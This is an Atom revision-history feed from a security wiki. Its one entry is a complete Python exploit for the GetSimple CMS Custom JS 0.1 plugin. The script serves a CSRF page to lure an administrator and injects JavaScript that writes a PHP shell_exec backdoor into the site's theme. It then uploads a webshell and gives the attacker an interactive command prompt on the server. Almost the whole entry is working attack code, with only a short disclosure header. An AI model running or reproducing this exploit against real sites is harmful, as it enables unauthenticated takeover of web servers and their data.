<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=GetSimple_CMS_Custom_JS_0.1_XSS%26CSRF%26RCE%E6%BC%8F%E6%B4%9E</id>
	<title>GetSimple CMS Custom JS 0.1 XSS&amp;CSRF&amp;RCE漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=GetSimple_CMS_Custom_JS_0.1_XSS%26CSRF%26RCE%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=GetSimple_CMS_Custom_JS_0.1_XSS%26CSRF%26RCE%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-11T00:26:23Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=GetSimple_CMS_Custom_JS_0.1_XSS%26CSRF%26RCE%E6%BC%8F%E6%B4%9E&amp;diff=2052&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==EXP== &lt;pre&gt; # Exploit Title: GetSimple CMS Custom JS 0.1 - CSRF to XSS to RCE # Exploit Author: Bobby Cooke (boku) &amp; Abhishek Joshi # Date: 30/04/201 # Vendor Homepage: http...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=GetSimple_CMS_Custom_JS_0.1_XSS%26CSRF%26RCE%E6%BC%8F%E6%B4%9E&amp;diff=2052&amp;oldid=prev"/>
		<updated>2021-05-03T12:11:00Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==EXP== &amp;lt;pre&amp;gt; # Exploit Title: GetSimple CMS Custom JS 0.1 - CSRF to XSS to RCE # Exploit Author: Bobby Cooke (boku) &amp;amp; Abhishek Joshi # Date: 30/04/201 # Vendor Homepage: http...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# Exploit Title: GetSimple CMS Custom JS 0.1 - CSRF to XSS to RCE&lt;br /&gt;
# Exploit Author: Bobby Cooke (boku) &amp;amp; Abhishek Joshi&lt;br /&gt;
# Date: 30/04/201&lt;br /&gt;
# Vendor Homepage: http://get-simple.info &lt;br /&gt;
# Software Link: http://get-simple.info/download/ &amp;amp; http://get-simple.info/extend/plugin/custom-js/1267/&lt;br /&gt;
# Vendor: 4Enzo&lt;br /&gt;
# Version: v0.1&lt;br /&gt;
# Tested against Server Host: Windows 10 Pro + XAMPP&lt;br /&gt;
# Tested against Client Browsers: Firefox (Linux &amp;amp; Windows) &amp;amp; Internet Explorer&lt;br /&gt;
# Vulnerability Description:&lt;br /&gt;
#    The Custom JS v0.1 plugin for GetSimple CMS suffers from a Cross-Site Request Forgery (CSRF) attack that allows remote unauthenticated attackers to inject arbitrary client-side code into authenticated administrators browsers, which results in Remote Code Execution (RCE) on the hosting server, when an authenticated administrator visits a malicious third party website.&lt;br /&gt;
# Full Disclosure &amp;amp; MITRE CVE Tracking: github.com/boku7/gsCMS-CustomJS-Csrf2Xss2Rce&lt;br /&gt;
# CVSS v3.1 Vector: AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H&lt;br /&gt;
# CVSS Base Score: 9.6&lt;br /&gt;
&lt;br /&gt;
import argparse,requests&lt;br /&gt;
from http.server import BaseHTTPRequestHandler, HTTPServer&lt;br /&gt;
from colorama import (Fore as F, Back as B, Style as S)&lt;br /&gt;
from threading import Thread&lt;br /&gt;
from time import sleep&lt;br /&gt;
&lt;br /&gt;
FT,FR,FG,FY,FB,FM,FC,ST,SD,SB = F.RESET,F.RED,F.GREEN,F.YELLOW,F.BLUE,F.MAGENTA,F.CYAN,S.RESET_ALL,S.DIM,S.BRIGHT&lt;br /&gt;
def bullet(char,color):&lt;br /&gt;
    C=FB if color == 'B' else FR if color == 'R' else FG&lt;br /&gt;
    return SB+C+'['+ST+SB+char+SB+C+']'+ST+' '&lt;br /&gt;
info,err,ok = bullet('-','B'),bullet('-','R'),bullet('!','G')&lt;br /&gt;
&lt;br /&gt;
class theTHREADER(object):&lt;br /&gt;
    def __init__(self, interval=1):&lt;br /&gt;
        self.interval = interval&lt;br /&gt;
        thread = Thread(target=self.run, args=())&lt;br /&gt;
        thread.daemon = True&lt;br /&gt;
        thread.start()&lt;br /&gt;
    def run(self):&lt;br /&gt;
        run()&lt;br /&gt;
&lt;br /&gt;
def webshell(target):&lt;br /&gt;
    try:&lt;br /&gt;
        websh = &amp;quot;{}/webshell.php&amp;quot;.format(target,page)&lt;br /&gt;
        term = &amp;quot;{}{}PWNSHELL{} &amp;gt; {}&amp;quot;.format(SB,FR,FB,ST)&lt;br /&gt;
        welcome = '    {}{}]{}+++{}[{}========&amp;gt;{} HelloFriend {}&amp;lt;========{}]{}+++{}[{}'.format(SB,FY,FR,FY,FT,FR,FT,FY,FR,FY,ST)&lt;br /&gt;
        print(welcome)&lt;br /&gt;
        while True:&lt;br /&gt;
            specialmove = input(term)&lt;br /&gt;
            command = {'FierceGodKick': specialmove}&lt;br /&gt;
            r = requests.post(websh, data=command, verify=False)&lt;br /&gt;
            status = r.status_code&lt;br /&gt;
            if status != 200:&lt;br /&gt;
                r.raise_for_status()&lt;br /&gt;
            response = r.text&lt;br /&gt;
            print(response)&lt;br /&gt;
    except:&lt;br /&gt;
        pass&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
def xhrRcePayload():&lt;br /&gt;
    payload  = 'var e=function(i){return encodeURIComponent(i);};'&lt;br /&gt;
    payload += 'var gt = decodeURIComponent(&amp;quot;%3c&amp;quot;);'&lt;br /&gt;
    payload += 'var lt = decodeURIComponent(&amp;quot;%3e&amp;quot;);'&lt;br /&gt;
    payload += 'var h=&amp;quot;application/x-www-form-urlencoded&amp;quot;;'&lt;br /&gt;
    payload += 'var u=&amp;quot;/admin/theme-edit.php&amp;quot;;'&lt;br /&gt;
    payload += 'var xhr1=new XMLHttpRequest();'&lt;br /&gt;
    payload += 'var xhr2=new XMLHttpRequest();'&lt;br /&gt;
    payload += 'xhr1.onreadystatechange=function(){'&lt;br /&gt;
    payload += 'if(xhr1.readyState==4 &amp;amp;&amp;amp; xhr1.status==200){'&lt;br /&gt;
    payload += 'r=this.responseXML;'&lt;br /&gt;
    payload += 'nVal=r.querySelector(&amp;quot;#nonce&amp;quot;).value;'&lt;br /&gt;
    payload += 'eVal=r.forms[1][2].defaultValue;'&lt;br /&gt;
    payload += 'xhr2.open(&amp;quot;POST&amp;quot;,u,true);'&lt;br /&gt;
    payload += 'xhr2.setRequestHeader(&amp;quot;Content-Type&amp;quot;,h);'&lt;br /&gt;
    payload += 'payload=e(gt+&amp;quot;?php echo shell_exec($_REQUEST[solarflare]) ?&amp;quot;+lt);'&lt;br /&gt;
    payload += 'params=&amp;quot;nonce=&amp;quot;+nVal+&amp;quot;&amp;amp;content=&amp;quot;+payload+&amp;quot;&amp;amp;edited_file=&amp;quot;+eVal+&amp;quot;&amp;amp;submitsave=Save+Changes&amp;quot;;'&lt;br /&gt;
    payload += 'xhr2.send(params);'&lt;br /&gt;
    payload += '}};'&lt;br /&gt;
    payload += 'xhr1.open(&amp;quot;GET&amp;quot;,u,true);'&lt;br /&gt;
    payload += 'xhr1.responseType=&amp;quot;document&amp;quot;;'&lt;br /&gt;
    payload += 'xhr1.send();'&lt;br /&gt;
    return payload&lt;br /&gt;
&lt;br /&gt;
def csrfPayload():&lt;br /&gt;
    payload  = '&amp;lt;html&amp;gt;&amp;lt;body&amp;gt;'&lt;br /&gt;
    payload += '&amp;lt;form action=&amp;quot;'+target+'/admin/load.php?id=CustomJSPlugin&amp;quot; method=&amp;quot;POST&amp;quot;&amp;gt;'&lt;br /&gt;
    payload += '&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;customjs_url_content&amp;quot; value=&amp;quot;&amp;quot;&amp;gt;'&lt;br /&gt;
    payload += '&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;customjs_js_content&amp;quot; value=&amp;quot;'+xhrRcePayload()+'&amp;quot;&amp;gt;'&lt;br /&gt;
    payload += '&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;submit&amp;quot; value=&amp;quot;Save Settings&amp;quot;&amp;gt;'&lt;br /&gt;
    payload += '&amp;lt;input type=&amp;quot;submit&amp;quot; value=&amp;quot;Submit request&amp;quot;&amp;gt;'&lt;br /&gt;
    payload += '&amp;lt;/form&amp;gt;&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;'&lt;br /&gt;
    return payload&lt;br /&gt;
&lt;br /&gt;
class S(BaseHTTPRequestHandler):&lt;br /&gt;
    def do_GET(self):&lt;br /&gt;
        victim = self.client_address&lt;br /&gt;
        victim = &amp;quot;{}:{}&amp;quot;.format(victim[0],victim[1])&lt;br /&gt;
        print(&amp;quot;{}{} connected to Malicious CSRF Site!&amp;quot;.format(ok,victim))&lt;br /&gt;
        print('{}Waiting for admin to view a CMS webpage &amp;amp; trigger the XSS XHR -&amp;gt; RCE payload..'.format(info))&lt;br /&gt;
        self.wfile.write(&amp;quot;{}&amp;quot;.format(csrfPayload()).encode('utf-8'))&lt;br /&gt;
&lt;br /&gt;
def run(server_class=HTTPServer, handler_class=S, port=80):&lt;br /&gt;
    server_address = ('', port)&lt;br /&gt;
    httpd = server_class(server_address, handler_class)&lt;br /&gt;
    print('{}Hosting CSRF attack &amp;amp; listening for admin to connect..'.format(info))&lt;br /&gt;
    try:&lt;br /&gt;
        httpd.serve_forever()&lt;br /&gt;
    except KeyboardInterrupt:&lt;br /&gt;
        pass&lt;br /&gt;
    httpd.server_close()&lt;br /&gt;
    print('Stopping httpd...')&lt;br /&gt;
&lt;br /&gt;
def tryUploadWebshell(target,page):&lt;br /&gt;
    try:&lt;br /&gt;
        blind = target+page&lt;br /&gt;
        # The ^ symbols are required to escape the &amp;lt;&amp;gt; symbols to create the non-blind webshell (^ is an escape for window cmd prompt)&lt;br /&gt;
        webshUpload  = {'solarflare': &amp;quot;echo ^&amp;lt;?php echo shell_exec($_REQUEST['FierceGodKick']) ?^&amp;gt;&amp;gt;webshell.php&amp;quot;}&lt;br /&gt;
        requests.post(url=blind, data=webshUpload, verify=False)&lt;br /&gt;
    except:&lt;br /&gt;
        pass&lt;br /&gt;
&lt;br /&gt;
def checkWebshell(target):&lt;br /&gt;
    try:&lt;br /&gt;
        websh = &amp;quot;{}/webshell.php&amp;quot;.format(target)&lt;br /&gt;
        capsule = {'FierceGodKick':'pwnt?'}&lt;br /&gt;
        resp = requests.post(url=websh, data=capsule, verify=False)&lt;br /&gt;
        return resp.status_code&lt;br /&gt;
    except:&lt;br /&gt;
        pass&lt;br /&gt;
&lt;br /&gt;
def sig():&lt;br /&gt;
    SIG  = SB+FY+&amp;quot;  .-----.._       ,--.            &amp;quot;+FB+&amp;quot;    ___  &amp;quot;+FY+&amp;quot;     ___ _____ _____ _   _ _____ \n&amp;quot;&lt;br /&gt;
    SIG += FY+&amp;quot;  |  ..    &amp;gt;  ___ |  | .--.        &amp;quot;+FB+&amp;quot;  /   \\    &amp;quot;+FY+&amp;quot; |_  |  _  /  ___| | | |_   _| \n&amp;quot;&lt;br /&gt;
    SIG += FY+&amp;quot;  |  |.'  ,'-'&amp;quot;+FR+&amp;quot;* *&amp;quot;+FY+&amp;quot;'-. |/  /__   __ &amp;quot;+FB+&amp;quot;   \\ O /   &amp;quot;+FY+&amp;quot;    | | | | \\ `--.| |_| | | |  \n&amp;quot;&lt;br /&gt;
    SIG += FY+&amp;quot;  |      &amp;lt;/ &amp;quot;+FR+&amp;quot;*  *  *&amp;quot;+FY+&amp;quot; \   /   \\/   \\ &amp;quot;+FB+&amp;quot;  / _ \\/\\ &amp;quot;+FY+&amp;quot;    | | | | |`--. \\  _  | | |  \n&amp;quot;&lt;br /&gt;
    SIG += FY+&amp;quot;  |  |&amp;gt;   )  &amp;quot;+FR+&amp;quot; * *&amp;quot;+FY+&amp;quot;   /    \\        \\&amp;quot;+FB+&amp;quot; ( (_&amp;gt;  &amp;lt; &amp;quot;+FY+&amp;quot;/\\__/ | \\_/ /\\__/ / | | |_| |_ \n&amp;quot;&lt;br /&gt;
    SIG += FY+&amp;quot;  |____..- '-.._..-'_|\\___|._..\\___\\ &amp;quot;+FB+&amp;quot;\\___/\\/&amp;quot;+FY+&amp;quot; \\____/ \\___/\\____/\\_| |_/\\___/\n&amp;quot;&lt;br /&gt;
    SIG += FY+&amp;quot;  __&amp;quot;+FR+&amp;quot;linkedin.com/in/bobby-cooke/&amp;quot;+FY+&amp;quot;_____ &amp;quot;+&amp;quot;     __&amp;quot;+FR+&amp;quot;linkedin.com/in/reverse-shell/&amp;quot;+FY+&amp;quot;\n&amp;quot;+ST&lt;br /&gt;
    return SIG&lt;br /&gt;
&lt;br /&gt;
def argsetup():&lt;br /&gt;
    about  = SB+FB+'  The Custom JS v0.1 plugin for GetSimple CMS suffers from a Cross-Site Request Forgery (CSRF) attack that allows remote unauthenticated attackers to inject arbitrary client-side code into authenticated administrators browsers, which results in Remote Code Execution (RCE) on the hosting server, when an authenticated administrator visits a malicious third party website.\n'+ST&lt;br /&gt;
    about += SB+FC+'      CVSS Base Score'+FT+':'+FR+' 9.6  '+FT+'|'+FC+'  CVSS v3.1 Vector'+FT+':'+FR+' AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H'+FC&lt;br /&gt;
    parser = argparse.ArgumentParser(description=about, formatter_class=argparse.RawTextHelpFormatter)&lt;br /&gt;
    desc1  = ST+FC+'Routable domain name of the target GetSimple CMS instance'+SB&lt;br /&gt;
    parser.add_argument('Target',type=str,help=desc1)&lt;br /&gt;
    desc2  = ST+FC+'Path to the public page which implements the CMS theme'+ST&lt;br /&gt;
    parser.add_argument('PublicPage',type=str,help=desc2)&lt;br /&gt;
    args   = parser.parse_args()&lt;br /&gt;
    return args&lt;br /&gt;
&lt;br /&gt;
if __name__ == '__main__':&lt;br /&gt;
    header    = SB+FR+'                 GetSimple CMS - Custom JS Plugin Exploit\n'&lt;br /&gt;
    header   += SB+FB+'          CSRF '+FT+'-&amp;gt;'+FB+' Stored XSS '+FT+'-&amp;gt;'+FB+' XHR PHP Code Injection '+FT+'-&amp;gt;'+FB+' RCE\n'+ST&lt;br /&gt;
    header   += SB+FT+'                   '+FR+' Bobby '+FR+'&amp;quot;'+FR+'boku'+FR+'&amp;quot;'+FR+' Cooke &amp;amp; Abhishek Joshi\n'+ST&lt;br /&gt;
    print(header)&lt;br /&gt;
    args      = argsetup()&lt;br /&gt;
    target    = args.Target&lt;br /&gt;
    page      = args.PublicPage&lt;br /&gt;
    print(sig())&lt;br /&gt;
    theTHREADER()&lt;br /&gt;
    pwnt = checkWebshell(target)&lt;br /&gt;
    if pwnt != 200:&lt;br /&gt;
        while pwnt != 200:&lt;br /&gt;
            sleep(3)&lt;br /&gt;
            tryUploadWebshell(target,page)&lt;br /&gt;
            sleep(2)&lt;br /&gt;
            pwnt = checkWebshell(target)&lt;br /&gt;
    print(&amp;quot;{} A wild webshell appears!&amp;quot;.format(ok))&lt;br /&gt;
    webshell(target)&lt;br /&gt;
            &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>